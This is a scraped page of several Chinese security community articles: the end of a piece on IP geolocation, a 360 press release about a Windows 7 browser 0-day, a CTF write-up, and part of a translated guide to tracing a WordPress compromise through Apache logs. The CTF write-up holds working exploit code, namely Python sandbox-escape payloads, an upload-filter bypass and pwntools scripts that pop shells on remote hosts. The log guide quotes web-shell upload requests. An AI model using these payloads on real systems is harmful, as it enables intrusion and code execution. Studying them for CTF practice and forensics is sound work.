实际的使用中，我们会把这两种方式结合到一起。并不是说，两个定位结果中，有一个错了。两个都是正确答案，只是某些情况下，有一个答案并不适合风控场景。
互联网，就像物流系统一样。我们分析IP的位置，和分析一个快递小哥负责派送的区域原理是一样。没有哪个快递小哥只给一户人家送货，IP也一样，我们最终只能确定这个IP后面的用户，可能出现的地理位置区域。随着技术的提升，数据的积累，我们能够不断缩小这个范围，达到最贴近真实的结果。
本次与大家分享的内容到此为止，大家可以反复多次阅读，很多专业描述其实也没有那么难懂，期望可以帮助到有需要的朋友们。另外两个问题的分享，敬请期待IP下半部的分享！ | 社区文章 |
# 0day漏洞发起新年第一击 360率先截获并守护Win 7用户
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2020年1月14日，微软正式宣告Windows 7系统停止更新，官方停止技术支持、软件更新和安全问题的修复。这意味着数以亿计仍在运行Windows
7系统的计算机失去了保护屏障，所面临的安全风险或将排山倒海来。
然而，就在微软宣布Windows
7系统停服前夕，一场前所未有的0day漏洞组合攻击正伺机引爆，全球首例同时复合利用IE浏览器和火狐浏览器两个0day漏洞的攻击风暴悄然突袭。近日，360安全大脑就全球首家捕捉到此次攻击，并将其命名为“双星”0day漏洞攻击。
尽管根据最新消息，火狐浏览器的0day漏洞现已被Mozilla官方修复，但是IE浏览器仍暴露于“双星”漏洞攻击威胁之中。
## Win7停服引爆网络暴击，国内超六成用户曝光在“双星”漏洞阴霾之下
Windows 7系统正式停服，正如曾经Windows
XP系统，其背后必然酝酿着未知且重大的网络安全风暴。由于官方停止对Win7系统的防护，各类型网络攻击势必接连涌现，在漏洞百出的Win7系统大肆作恶。
2017年5月，WinXP系统停服三年后，利用Windows系统SMB漏洞席卷全球的WannaCry勒索病毒，横扫150国家政府、学校、医院、金融、航班等各领域，让世界坠入勒索旋涡。
2019年5月，WannaCry
爆发两年之后，堪比“永恒之蓝”的Bluekeep高危远程漏洞，再次让全球400万台主机暴露在漏洞暴风眼下，一旦漏洞被黑客成功利用世界将再次陷入黑暗。
而在Win7停服这一关键节点突然爆发的“双星”漏洞，无疑让当下网络安全环境“雪上加霜”。直至2019年10月底，国内Windows7系统的市场份额占比仍有近6成。Windows
7的终结，意味着庞大的用户失去了微软官方的所有支持，包括软件更新、补丁修复和防火墙保障，将直面各类利用漏洞等威胁进行的攻击。
毫无疑问，“双星”0day漏洞并不在Windows 7的修复范围内，攻击者完全可以凭借该漏洞重击所有使用Windows
7系统的计算机，像野火一样蔓延至整个网络，根据360安全大脑所监测到的恶意样本，发现攻击者使用组合两个0day漏洞的恶意网页进行攻击，无论IE浏览器还是火狐浏览器打开都会中招。用户在毫无防备的情况下，可被植入勒索病毒，甚至被黑客监听监控，执行窃取敏感信息等任意操作。
## 半岛APT组织Darkhotel正在利用“双星”漏洞发起屠杀
然而“火势”已经蔓延，从360安全大脑的追踪信息可初步判定，如此威胁巨大的“双星”0day漏洞已疑似被活跃近十余年的半岛APT组织——Darkhotel(APT-C-06)所利用。从此次截获的“双星”0day漏洞攻击来看，Darkhotel(APT-C-06)攻击技术骤然升级，已从单个浏览器0day漏洞，跃升为双浏览器0day漏洞利用，威胁与破坏性远超以往。再加上微软不再继续提供Windows
7系统的安全保障，这对Win7用户来说，“双星”漏洞带来的潜在伤害难以预估。
## 360上线Win7盾甲持续防护，率先拦截“双星”漏洞攻击
虽然说，目前最新的火狐浏览器已经针对该漏洞推出了修复程序，但对于IE浏览器用户，特别是运行Windows
7系统的用户，仍然是本次“双星”漏洞攻击的重要目标。尤其在Windows 7失去安全保障的情况下，如何才能保护目标用户计算机免受荼毒？
于是，在微软放弃了Win7系统更新，且未联合安全厂商继续支持安全防护的背景下，360安全大脑为应对这类重大安全隐患，国内首推Win7盾甲，可帮助运行Windows
7系统的用户拦截“双星”0day漏洞攻击。
360
Win7盾甲由网络安全防御智能的雷达系统360安全大脑重磅打造，以360安全大数据为基础，综合威胁情报、知识库、安全专家的各项能力，全力构建微补丁漏洞免疫，以及再度升级的系统核心加固、关键程序保护、防护日志四大核心功能，为国内近6成用户继续护航Windows
7系统的安全。
对于“双星”0day漏洞这样的新型漏洞，360
Win7盾甲的微补丁功能可先行自动覆盖漏洞，解决防护能力滞后安全隐患。系统核心加固负责保护系统文件免收病毒感染，关键程序保护功能则可以全效拦截各类恶意代码攻击，最后通过防护日志功能维护系统经典功能的使用。
## 强力抵御Win7“双星”危机源于360安全大脑强势赋能
事实上，在接力微软守护安全上，360安全大脑此前已拥有“XP盾甲”续服5年的成功经验，并已为数亿用户提供XP停服时期的系统保障。而让强大可靠的安全能力延续在Win7盾甲，并开启“后Win7”时代安全的关键，则来自于360安全大脑数据神经元采集、智能升级与360集团独树一帜的安全实力。
数据显示，360安全大脑汇集超 250 亿个恶意样本，22 万亿安全日志、80 亿域名信息、2EB 以上的安全大数据，并基于首创的 360QVM
人工智能引擎，人机协同大数据智能分析预见网络威胁与攻击，进而实现及时阻断、溯源、止损及反制。
与此同时，360安全大脑还可通过云端对信息进行比对、侦测，第一时间感知到病毒或者攻击，实现从被动防御到主动防御，全面优化Win7盾甲威胁感知能力。实现最快1
天时间内实现漏洞补丁、免疫工具、安全策略和威胁情报推送，有效保障360微补丁实时漏洞修复。
必须强调的是，以安全专家团队为核心的“人机协作”防御能力，是360安全大脑的能力之关键。在2019年MSRC全球安全精英榜中，360安全专家代表亚洲地区赢得历史首冠，更凭借10人荣耀登榜，进榜人数全球第一；其中7人冲进榜单前五十，勇夺榜单冠亚王座的战绩，横扫微软MSRC全球最具价值安全精英榜。如此强大的安全实力，直接赋予了Win7盾甲无可匹敌的安全守护力量！
最后，针对Win7系统停服时期爆发出的“双星”漏洞攻击事件，360安全大脑特别提醒广大用户，请勿随意打开未知网站。尤其是Windows
7系统用户，应及时做好准备、全力应对系统停服后带来的安全问题，可通过360Win7盾甲提升电脑安全性。同时，提醒各相关企、事业单位，警惕利用“双星”漏洞发动的定向攻击，密切跟踪该漏洞的最新情况，及时使用安全软件防御可能的漏洞攻击。360安全大脑将对“双星”漏洞持续跟进关注，并推进相关安全补丁的发布。
最后，360安全卫士用户不用担心无需升级即可拦截，广大Win7用户可前往https://bbs.360.cn/thread-15829770-1-1.html下载安装360安全大脑Win7盾甲版，并开启Windows7盾甲守护功能抵御各类安全威胁。 | 社区文章 |
## **Misc**
#### **0x00 签到**
回复公众号
#### **0x01 虚幻**
用winhex分离出9张图，按顺序拼：
通过Stegsolve改变后很像二维码，但扫不出来
题目提示汉信码
根据汉信码的特征，反色后手动拼一个：
在<http://www.efittech.com/hxdec.html> 中识别汉信码，得到flag:
flag{4ab1507d-d195-4d30-87c0-a0d85a77d953}
## **Web**
#### **0x02 Calc**
roboot.txt
Traceback (most recent call last):
File "/usr/local/lib/python2.7/dist-packages/tornado/web.py", line 1520, in
_execute
result = self.prepare()
File "/usr/local/lib/python2.7/dist-packages/tornado/web.py", line 2266, in
prepare
raise HTTPError(self._status_code)
HTTPError: HTTP 404: Not Found
根据 报错信息和题目 初步确定Python沙箱安全
初步测试 执行1+2+float(1.1)\1+2+int('3.3')\1+2+abs(3.3)
说明math函数里面可以有字符串
payload： 1+2+float(str([].__class__.__mro__[-1].__subclasses__()[40]('/flag').read()))
详细知识请参看
<https://www.anquanke.com/post/id/85571>
<https://github.com/ctf-wiki/ctf-wiki/blob/master/docs/pwn/sandbox/python-sandbox-escape.md>
[]. **class**. **mro** [-1]. **subclasses** ()/(). **class**. **mro** [-1].
**subclasses**
()魔术代码，不用import任何模块，但可调用任意模块的方法。一开始并不知道file在40的位置，直接暴力遍历，后面跟上file对应的方法即可。
其中常见payload
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").p
python 沙箱逃逸
得到flag:
#### **0x03 wafUpload**
<?php
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (!empty($_FILES['file'])) {
#mime check
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}
#check filename
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}
$filename = reset($file) . '.' . $file[count($file) - 1];
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
echo 'Success!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'Failed!';
}
}
show_source(__file__);
?>
提交一个filename数组
$file[count($file) - 1] 根据数组下标取最后一个元素
$ext = end($file) 数组里最后一个元素
<?php
$f=array();
$f[2]='222';
$f[0]='000';
echo end($f);
//console 000
?>
菜刀连接find flag
## **Pwn**
#### **0x04 fgo**
根据题目，可以猜测到应该和fastbin有关， 最开始的思路是：
1） 添加2个servant，并且servant的名字size都为256；
2） 释放第2个servant，再释放第1个servant，释放掉第1个servant后，会在fd和bk处填充main_arena+48的值；
3）
而后重新添加1个servant，并且servant的名字size同样为256，那么最后会在最初始添加servant的地方分配到堆，只要控制好输入servant
ability的值，即可保存bk处存储的main_arena+48的值；
4） 展示第1个servant的信息，将由此得到main_arena的地址，通过leak到的main_arena地址可以计算到system的地址；
5） 再次删除掉刚添加的servant；
6）
再添加1个servant，并且将servant的名字size扩大到512，这样就可以覆盖到最开始添加的2个servant的第2个sevant的print_servant_content函数地址，将其替换成system的地址；
7） 展示第2个servant的信息时，将会执行system函数，但调试发现system的参数不可控；
后来逆向发现程序中存在一个secret函数地址，此函数内就是执行了system('/bin/bash')，因此实际上根本不需要计算出system的地址，直接在第6步中，将第2个sevant的print_servant_content函数地址覆盖成secret函数地址即可
exp:
#!/usr/bin/python
import pwnlib
import re
from pwn import *
context.log_level = 'debug'
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
p = remote('106.75.104.139', 26768)
#p = process('./pwn')
elf = ELF('./pwn')
# new
def add(size, content):
p.recvuntil('Your choice:\n')
p.sendline("1")
p.recvuntil("the size of servant's name : \n")
p.sendline(str(size))
p.recvuntil("ability : \n")
p.sendline(content)
def show(index):
p.recvuntil('Your choice:\n')
p.sendline("3")
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('\n')
data = p.recvuntil("\n")
print data
addr = data[:4]
if len(addr) < 4:
addr += '\x00' *( 4 - len(addr))
return u32(addr)
def delete(index):
p.recvuntil('Your choice:\n')
p.sendline("2")
p.recvuntil("Index : ")
p.sendline(str(index))
def main():
#puts_got = elf.got['puts']
#atoi_got = elf.got['atoi']
main_arena_offset = 0x1AD420
secret_addr = 0x08048956
add(256, "1111")
add(256, "/bin/sh\x00")
delete(1)
delete(0)
add(256, '123')
#show(0)
main_arena_addr = show(0)
print "[+] Leak main_arena_addr -> {}".format(hex(main_arena_addr))
system_address = main_arena_addr - main_arena_offset - 48 + libc.symbols['system']
print "[+] Got system address -> {}".format(hex(system_address))
delete(0)
add(512, '\x00'*(16*0x10+8-22) + '/bin/sh\x00'+'\x00'*(22-8)+p32(secret_addr))
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#gdb.attach(proc.pidof(p)[0])
#show("1")
#p.sendline("/bin/sh\x00")
p.interactive()
if __name__ == '__main__':
main()
第二种解法：劫持print_servant_content函数
用同样的方式leak systeam的函数地址，或者通过read在got中的地址leak，然后再次利用UAF从fastbin中malloced 8
byte的chunk，用systeam的地址覆盖chunk
fb指针处的print_servant_content函数地址，用指令';sh;'覆盖bk指针，通过print_servant操作，call systeam
`(*(void (__cdecl **)(void *))servantlist[index])(servantlist[index]);`
exp:
from pwn import *
p = process('./pwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#p = remote('106.75.104.139', 26768)
#libc = ELF('./libc.so.6')
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
def add(size, ability):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('name :')
p.sendline(size)
p.recvuntil('ability :')
p.send(ability)
def delete(index):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('Index : ')
p.sendline(index)
def show(index):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(index)
add('128','AAAAAAAA')
add('128','BBBBBBBB')
delete('1')
delete('0')
add('128','CCCC')
show('0') # show('2')
p.recvuntil('CCCC')
arena_addr = u32(p.recv(4))-48
log.info('arena_addr: '+hex(arena_addr))
libc_addr = arena_addr - 0x1B2780 # local libc offset
log.info('libc_addr: '+hex(libc_addr))
system_addr = libc_addr + libc.symbols['system']
log.info('system_addr: '+hex(system_addr))
delete('0')
add('8',p32(system_addr)+';sh;')
show('1')
p.interactive()
#### **0x05 EasyFMT**
看题目应该是格式化字符串漏洞， 所以最开始需要确定具体的可控的参数位置，利用下述脚本即可获得具体的偏移位置：
#!/usr/bin/python
from pwn import *
elf = ELF('./pwn')
for i in xrange(1,100):
p = process('./pwn')
p.recvuntil("Do you know repeater?\n")
payload = 'AAAA,%' + str(i) + '$x'
p.sendline(payload)
try:
data = p.recv()
if '41414141' in data:
print ""
print "[+] Found it: {}".format(str(i))
print
p.close()
break
else:
p.close()
except:
p.close()
利用脚本跑出来是在第6个位置会回显，然后利用printf_got的地址来leak printf的实际地址，
而后根据leak到的printf的实际地址来判断目标系统上使用的libc库，这里利用LibcSearcher来确定，如下图所示：
这里使用了libc6-i386_2.23-0ubuntu10_amd64的libc库，而后即可计算system的地址，最后再利用格式化字符串的任意地址写的特性，将printf_got的地址修改为system地址即可。
exp:
#!/usr/bin/python
from pwn import *
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('./00.CTF/Tools/LibcSearcher/libc-database/db/libc6-i386_2.23-0ubuntu10_amd64.so')
elf = ELF('./pwn')
#p = process('./pwn')
#p = remote('127.0.0.1', 9999)
p = remote('106.75.126.184', 58579)
context.log_level = 'debug'
def get_addr(addr):
p.recvuntil("Do you know repeater?\n")
payload = p32(addr) + '%6$s'
p.sendline(payload)
data = p.recv()
print data
return u32(data[4:4+4])
def main():
printf_got = elf.got['printf']
printf_addr = get_addr(printf_got)
#get_addr(read_got)
print "[+] Got printf address -> {}".format(hex(printf_addr))
system_addr = libc.symbols['system'] - libc.symbols['printf'] + printf_addr
print "[+] Got system address -> {}".format(hex(system_addr))
payload = fmtstr_payload(6, {printf_got: system_addr})
#p.recvuntil('\n')
p.sendline(payload)
p.recvuntil('\n')
p.sendline('/bin/sh\x00')
p.interactive()
if __name__ == '__main__':
main()
最终获得的flag如下：
#### **0x06 Hvm**
由测试可知，当输入长度大于52时（算入回车），出现crash
根据crash可定位到切换虚拟机eip的位置
定位对应堆地址，栈和eip的全局变量:
0x7ffff7ff3fc0 内存写入地址，payload地址
内存值 变量名 变量偏移地址
0x7ffff7ff5000 current_buf 0x555555756100
0x7ffff7ff5000 curren_buf_start 0x5555557560f8
0x7ffff7ff4000 stack_base 0x5555557560d0
stack 0x5555557560b8
0x7ffff7ff3000 mmap_0x2000 0x5555557560e0
生成payload：
syscall_eip = (__int64)syscall_eip_start + 4 * ((signed int)re(pop stack) + 3);
控制eip栈地址距离payload地址的偏移
0x7ffff7ff3ff4 - 0x7ffff7ff3fc0 = 0x34 = 52
第一个eip偏移
syscall_eip = (((target - syscall_eip_start) >> 2)-3) = (((0x7ffff7ff3fc0 - 0x7ffff7ff5000) >> 2)-3) = 9xFFFFFBED
第二个eip偏移，前52个字节无法填充payload，所以再次跳转
syscall_eip = (((target - syscall_eip_start) >> 2)-3) = (((0x7ffff7ff4000 - 0x7ffff7ff5000) >> 2)-3) = 0xFFFFFBFD
栈偏移
stack_offset = (target_base_stack - mmap_0x2000)/4 = (0x7ffff7ff3500 - 0x7ffff7ff3000) / 4 = 0x140
payload:
13 00 00 00 base_stack = (re(pop stack) * 4) + mmap_0x2000 = mmap_0x2000+0x500
12 00 00 00 stack = base_stack
07 00 00 00 ff ff fb fd push FFFFFBFD
06 00 00 00 syscall_eip= syscall_eip_start+ 4 * ((signed int)re(pop stack) + 3);
<...这里需要补充满52个字节...>
ff ff fb ed s tack指向这边， 用来计算syscall_eip偏移
00 00 01 40 00 00 01 40 用来计算栈偏移
07 00 00 00 2f 73 68 00 push /bin
07 00 00 00 2f 62 69 6e push /sh
0d 00 00 00 syscall_rdi = stack
1a 00 00 00 00 00 00 00 syscall_rsi = (signed int)re(*(_DWORD *)curren_buf);
01 00 00 00 00 00 00 3b syscall_rax = (signed int)re(*(_DWORD *)curren_buf);
04 00 00 00 00 00 00 00 syscall_rdx = (signed int)re(*(_DWORD *)curren_buf);
0e 00 00 00 syscall
exp:
4.Exp:
from pwn import *
#context.log_level = 'debug'
#p = process("./hvm")
p = remote("117.50.4.173", 10315)
payload = "\x13\x00\x00\x00\x12\x00\x00\x00\x07\x00\x00\x00\xff\xff\xfb\xfd\x06\x00\x00\x00"
payload = payload + 'A' * (52 - len(payload))
payload = payload + "\xff\xff\xfb\xed\x00\x00\x01\x40\x00\x00\x01\x40\x07\x00\x00\x00\x2f\x73\x68\x00\x07\x00\x00\x00\x2f\x62\x69\x6e\x0d\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x3b\x04\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00"
p.sendafter("hello\n", payload)
p.interactive()
这题后来看到看雪上还有更简单的解法
## **Reverse**
#### **0x07 Martricks**
使用angr，先ida反汇编得到
成功路径find=0x400A84
失败路径：avoid=0x400A90
代码如下：
import angr
def main():
p = angr.Project("martricks")
simgr = p.factory.simulation_manager(p.factory.full_init_state())
simgr.explore(find=0x400A84, avoid=0x400A90)
return simgr.found[0].posix.dumps(0).strip('\0\n')
if __name__ == '__main__':
print main()
运行得到flag:
#### **0x08 Give_a_try**
根据反汇编的结果编写如下代码，其中2个注意点是：
1、srand的值需要动态调试确定下其初始值
2、以42个字符的和值为遍历，发现其值都有：3681
const int BUFF_LEN = 255*50*50;
int * pbuff=NULL;
unsigned int dword_4030B4[42] = {
0x63B25AF1,0x0C5659BA5,0x4C7A3C33,0x0E4E4267,0x0B611769B,
0x3DE6438C,0x84DBA61F,0x0A97497E6,0x650F0FB3,0x84EB507C,
0x0D38CD24C,0x0E7B912E0,0x7976CD4F,0x84100010,0x7FD66745,
0x711D4DBF,0x5402A7E5,0x0A3334351,0x1EE41BF8,0x22822EBE,
0x0DF5CEE48,0x0A8180D59,0x1576DEDC,0x0F0D62B3B,0x32AC1F6E,
0x9364A640,0x0C282DD35,0x14C5FC2E,0x0A765E438,0x7FCF345A,
0x59032BAD,0x9A5600BE,0x5F472DC5,0x5DDE0D84,0x8DF94ED5,
0x0BDF826A6,0x515A737A,0x4248589E,0x38A96C20,0x0CC7F61D9,
0x2638C417,0x0D9BEB996 };
unsigned int hack_one(int a1,int a2)
{
__asm {
mov eax, dword ptr[esp + 8]
movzx ecx, byte ptr[esp +12]
mul ecx
mov ecx, 0FAC96621h
push eax
xor edx, edx
div ecx
pop eax
push edx
mul eax
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
mul edx
div ecx
mov eax, edx
pop edx
mul edx
div ecx
mov eax, edx
}
}
int main()
{
pbuff = new int [BUFF_LEN];
for (int sum = 42; sum < 255 * 42; sum++)
{
srand(sum^0x31333359);
for (int j = 0; j < 42; j++)
pbuff[sum*42 + j]= rand();
}
for (int num = 0; num <42; num++)
{
for (int i = 0; i <255; ++i)
{
for (int sum = 42; sum < 255 * 42; sum++)
{
if (hack_one(pbuff[sum * 42 + num],i) == dword_4030B4[num] && sum==3681)
{
printf("%c",i);
}
}
}
}
printf("\nend\n");
return 0;
}
最后得到flag: | 社区文章 |
# 【技术分享】调查Web应用攻击事件：如何通过服务器日志文件追踪攻击者
|
##### 译文声明
本文是翻译文章，文章来源：dzone.com
原文地址：<https://dzone.com/articles/using-logs-to-investigate-a-web-application-attack>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
如果你想寻找那些让你系统遭受攻击的漏洞或起因的话，我建议你可以从日志记录开始着手调查。
存储在服务器端的日志文件是一种非常有价值的信息，几乎所有的服务器、在线服务和应用程序都会提供各种各样的日志信息。但你真的知道日志文件到底为何物吗？日志文件可以记录一个服务或应用程序在运行过程中所发生的事件和活动。那为什么日志文件会如此重要呢？因为日志文件可以让我们对服务器的所有行为一目了然，日志会告诉我们一台服务器在什么时候被什么人用什么样的方式访问过，而这些信息不仅可以帮助我们监控服务器或应用程序的性能和异常信息，而且还可以帮助我们调试应用程序。更重要的是，日志可以帮助取证调查人员分析可能那些导致恶意活动的事件链。
接下来，我以一台Web服务器作为例子来进行讲解。一般来说，Apache
HTTP服务器会提供两种主要的日志文件，即access.log和error.log。access.log会记录所有针对文件的请求，如果访问者请求了www.example.com/main.php，那么下面这项日志条目便会添加到日志文件中：
88.54.124.17 - - [16/Apr/2016:07:44:08 +0100] "GET /main.php HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
上面这条日志信息描述的是：一名访问者请求获取main.php文件，他的IP地址为88.54.124.178，请求时间为2016年4月16日07时44分，请求状态为“成功”。
你可能会认为这些信息并没有什么意义，那如果服务器记录下的是：访问者（IP：88.54.124.178）在2016年4月16日07时44分请求访问了dump_database.php文件，并且请求成功，那么这下可就麻烦了！
如果没有日志文件的话，你可能永远都不会知道谁访问过你的服务器，或谁导出过你的数据库记录。而且更加可怕的是，你永远都不会知道谁在你的服务器中运行过恶意脚本…
既然大家都已经知道了日志文件的重要性，那么接下来让我们一起看一看在日常工作中日志文件如何帮助我们确认网站是如何被攻击的。
**分析调查**
我们先假设下面这种场景：我们所管理的一个网站遭到了攻击，该网站非常的简单，这是一个过期的WordPress站点，运行在最新版的Ubuntu服务器上。
发现网站被攻击之后，取证团队迅速将服务器下线，以便进行下一步的分析调查。
隔离服务器是为了保持系统当前的状态以及相关的日志记录，并防止远程攻击者和其他的网络设备继续访问该服务器。调查分析的目的是识别出该Web服务器上所发生的恶意活动，为了保证调查数据的完整性，我们首先要对目标服务器进行备份，然后对克隆出来的服务器镜像进行分析。不过考虑到我们并不打算追究攻击者的法律责任，所以我们可以直接在原始数据上进行分析研究。
**调查过程中需要的证据**
在开始调查之前，首先得确定我们需要那些证据。一般来说，攻击证据包含攻击者对隐藏文件或关键文件得访问记录、对管理员权限区域内的非授权访问、远程代码执行、SQL注入、文件包含、跨站脚本（XSS）以及其他的一些异常活动，而这些证据从一定程度上可以代表攻击者所进行的漏洞扫描以及侦察活动。
假设在我们的场景中，Web服务器的access.log是可获取的：
root@secureserver:/var/log/apache2# less access.log
access.log的体积一般都非常庞大，通常包含成千上万条请求记录：
84.55.41.57 - - [16/Apr/2016:20:21:56 +0100] "GET /john/index.php HTTP/1.1" 200 3804 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
84.55.41.57 - - [16/Apr/2016:20:21:56 +0100] "GET /john/assets/js/skel.min.js HTTP/1.1" 200 3532 "http://www.example.com/john/index.php" "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
84.55.41.57 - - [16/Apr/2016:20:21:56 +0100] "GET /john/images/pic01.jpg HTTP/1.1" 200 9501 "http://www.example.com/john/index.php" "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
84.55.41.57 - - [16/Apr/2016:20:21:56 +0100] "GET /john/images/pic03.jpg HTTP/1.1" 200 5593 "http://www.example.com/john/index.php" "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
你想要一行一行地检查这些数据几乎是不现实的，所以我们要筛选出有用的数据，比如说类似图片或CSS样式表这样的资源数据，有的调查人员还会筛选出JavaScript文件等等。
在我们的场景中，由于网站运行的是WordPress，所以我们需要筛选出access.log文件中与WordPress有关的字符：
root@secureserver:~#cat /var/log/apache2/access.log | grep -E "wp-admin|wp-login|POST /"
上面这行命令会将access.log文件中包含wp-admin、wp-login以及POST等关键字的记录筛选出来。其中，wp-admin是WordPress的默认管理员文件夹，wp-login是WordPress的登陆文件，POST方法表明发送至服务器端的HTTP请求使用的是POST方法，一般来说都是登录表单提交。
过滤结果包含多条数据，在经过仔细分析之后，我们将注意力主要集中在以下数据上：
84.55.41.57 - - [17/Apr/2016:06:52:07 +0100] "GET /wordpress/wp-admin/ HTTP/1.1" 200 12349 "http://www.example.com/wordpress/wp-login.php" "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
我们可以看到，IP地址84.55.41.57成功访问了WordPress管理员目录。
接下来，我们看一看这个IP地址还做了些什么。这里我们还得使用grep命令来过滤access.log中包含这个IP地址的日志条目：
root@secureserver:~#cat /var/log/apache2/access.log | grep 84.55.41.57
搜索结果如下：
84.55.41.57 - - [17/Apr/2016:06:57:24 +0100] "GET /wordpress/wp-login.php HTTP/1.1" 200 1568 "-"
84.55.41.57 - - [17/Apr/2016:06:57:31 +0100] "POST /wordpress/wp-login.php HTTP/1.1" 302 1150 "http://www.example.com/wordpress/wp-login.php"
84.55.41.57 - - [17/Apr/2016:06:57:31 +0100] "GET /wordpress/wp-admin/ HTTP/1.1" 200 12905 "http://www.example.com/wordpress/wp-login.php"
84.55.41.57 - - [17/Apr/2016:07:00:32 +0100] "POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1" 200 454 "http://www.example.com/wordpress/wp-admin/"
84.55.41.57 - - [17/Apr/2016:07:00:58 +0100] "GET /wordpress/wp-admin/theme-editor.php HTTP/1.1" 200 20795 "http://www.example.com/wordpress/wp-admin/"
84.55.41.57 - - [17/Apr/2016:07:03:17 +0100] "GET /wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentysixteen HTTP/1.1" 200 8092 "http://www.example.com/wordpress/wp-admin/theme-editor.php"
84.55.41.57 - - [17/Apr/2016:07:11:48 +0100] "GET /wordpress/wp-admin/plugin-install.php HTTP/1.1" 200 12459 "http://www.example.com/wordpress/wp-admin/plugin-install.php?tab=upload"
84.55.41.57 - - [17/Apr/2016:07:16:06 +0100] "GET /wordpress/wp-admin/update.php?action=install-plugin&plugin=file-manager&_wpnonce=3c6c8a7fca HTTP/1.1" 200 5698 "http://www.example.com/wordpress/wp-admin/plugin-install.php?tab=search&s=file+permission"
84.55.41.57 - - [17/Apr/2016:07:18:19 +0100] "GET /wordpress/wp-admin/plugins.php?action=activate&plugin=file-manager%2Ffile-manager.php&_wpnonce=bf932ee530 HTTP/1.1" 302 451 "http://www.example.com/wordpress/wp-admin/update.php?action=install-plugin&plugin=file-manager&_wpnonce=3c6c8a7fca"
84.55.41.57 - - [17/Apr/2016:07:21:46 +0100] "GET /wordpress/wp-admin/admin-ajax.php?action=connector&cmd=upload&target=l1_d3AtY29udGVudA&name%5B%5D=r57.php&FILES=&_=1460873968131 HTTP/1.1" 200 731 "http://www.example.com/wordpress/wp-admin/admin.php?page=file-manager_settings"
84.55.41.57 - - [17/Apr/2016:07:22:53 +0100] "GET /wordpress/wp-content/r57.php HTTP/1.1" 200 9036 "-"
84.55.41.57 - - [17/Apr/2016:07:32:24 +0100] "POST /wordpress/wp-content/r57.php?14 HTTP/1.1" 200 8030 "http://www.example.com/wordpress/wp-content/r57.php?14"
84.55.41.57 - - [17/Apr/2016:07:29:21 +0100] "GET /wordpress/wp-content/r57.php?29 HTTP/1.1" 200 8391 "http://www.example.com/wordpress/wp-content/r57.php?28"
84.55.41.57 - - [17/Apr/2016:07:57:31 +0100] "POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1" 200 949 http://www.myw ebsite.com/wordpre ss/wp-admin/admin.php?page=file-manager_settings
我们可以看到，攻击者访问了网站的登录界面：
84.55.41.57 - GET /wordpress/wp-login.php 200
攻击者提交了登录表单（POST方法），网站重定向成功（302 HTTP状态码）：
84.55.41.57 - POST /wordpress/wp-login.php 302
攻击者被重定向到了wp-admin（WordPress仪表盘），这意味着攻击者成功通过了身份验证：
84.55.41.57 - GET /wordpress/wp-admin/ 200
攻击者访问了网站的主题编辑器：
84.55.41.57 - GET /wordpress/wp-admin/theme-editor.php 200
攻击者尝试去编辑404.php文件，很多攻击者都会向这个文件注入恶意代码，这是一种常见的攻击技巧。但由于缺少文件写入权限，所以攻击者没能成功：
84.55.41.57 - GET /wordpress/wp-admin/theme-editor.php?file=404.php&theme= twentysixteen 200
攻击者还访问了插件安装器：
84.55.41.57 - GET /wordpress/wp-admin/plugin-install.php 200
攻击者安装并激活了file-namager插件：
84.55.41.57 - GET /wordpress/wp-admin/update.php?action=install-plugin&plugin= file-manager &_wpnonce=3c6c8a7fca 200
